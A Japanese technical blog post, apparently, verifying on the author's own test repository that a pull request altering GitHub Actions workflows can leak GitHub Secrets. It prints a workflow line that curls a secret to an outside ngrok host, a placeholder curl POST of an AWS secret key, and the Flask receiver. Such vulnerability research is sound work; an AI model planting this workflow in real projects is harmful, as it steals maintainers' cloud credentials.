GitHub Actions + PullRequest を使って、第三者が GitHub Secrets を取得できる脆弱性
アイデアとしては、
この記事で何を検証したいかというと、
- 第三者が Repository 内の GitHub Actions を修正した PullRequest を作成したら、任意のコードを実行できる。
- Repository 管理者は、GitHub Secrets を使って、AWS のクレデンシャルなどを
${{ secrets.AWS_SECRET_ACCESS_KEY }}
として、コードに含まれないようにしている。 curl -X POST http://some_url -F "secret=${{ secrets.AWS_SECRET_ACCESS_KEY }}"
の様なコードを潜り込ませたら、secrets を取得できるのではないか?
結果として、
取得できた。
検証
下準備
まず、空の Repository を作る。
[Repository] - [Settings] - [Actions secrets] から適当な GitHub Secrets を設定する。
echo
を使ってみる
ここから、まず、echo
を使って、GitHub Secrets が見えないか検証してみる。
適当に clone して、echo を使った GitHub Actions を追加して、push する。
$ ghq get git@github.com:suecharo/github_secret_test.git $ cd git/github.com/suecharo/github_secret_test $ pwd /Users/suecharo/git/github.com/suecharo/github_secret_test $ mkdir -p .github/workflows $ touch .github/workflows/echo_secret.yml
.github/workflows/echo_secret.yml
name: echo_secret on: [push, pull_request] jobs: echo: runs-on: ubuntu-latest steps: - name: Echo secret run: | echo "${{ secrets.TEST_SECRET }}"
$ git add . $ git commit -m "Add echo secret" [master (root-commit) 04f8c48] Add echo secret 1 file changed, 9 insertions(+) create mode 100644 .github/echo_secret/workflow.yml $ git push Enumerating objects: 5, done. Counting objects: 100% (5/5), done. Delta compression using up to 8 threads Compressing objects: 100% (2/2), done. Writing objects: 100% (5/5), 432 bytes | 432.00 KiB/s, done. Total 5 (delta 0), reused 0 (delta 0), pack-reused 0 To ssh://github.com/suecharo/github_secret_test.git - [new branch] master -> master
この状態で、GitHub Actions を見に行くと、
流石に ***
として、見えないようになっている。
curl
を使ってみる
次に、curl
を使って外に POST
して、GitHub Secrets が見えないか検証してみる。
適当に Flask サーバを立てて、ngrok
を使って、グローバルに露出させる。
app.py
# coding: utf-8 from flask import Flask, request, jsonify app = Flask(__name__) @app.route("/test", methods=["POST"]) def post_test_secret(): print(request.form["secret"]) return jsonify({ "status": "OK", "secret": request.form["secret"] }) if __name__ == "__main__": app.run()
$ python3 app.py python3 app.py * Serving Flask app "app" (lazy loading) * Environment: production WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead. * Debug mode: off * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit) $ ngrok http 5000 ngrok by @inconshreveable Session Status online Session Expires 1 hour, 33 minutes Version 2.3.35 Region United States (us) Web Interface http://127.0.0.1:4040 Forwarding http://3f08dbe32e1d.ngrok.io -> http://localhost:5000 Forwarding https://3f08dbe32e1d.ngrok.io -> http://localhost:5000 Connections ttl opn rt1 rt5 p50 p90 3 0 0.00 0.00 0.01 0.01
この状態で、curl
を使って、疎通ができるか確認する。
$ curl http://3f08dbe32e1d.ngrok.io/test -F "secret=test_secret" {"secret":"test_secret","status":"OK"}
出来た。
次に、Repository に対して、下の GitHub Workflow を追加した PullRequest を作成する。
curl_securet.yml
name: curl secret on: [push, pull_request] jobs: echo: runs-on: ubuntu-latest steps: - name: Curl secret run: | curl http://3f08dbe32e1d.ngrok.io/test -F "secret=${{ secrets.TEST_SECRET }}"
その後、PullRequest の GitHub Actions を確認すると、
動いてる。
GitHub Actions のページ上では、***
として request params も response もマスキングされているが、
Local に立てた Flask Server には、GitHub Secrets が送られてきている。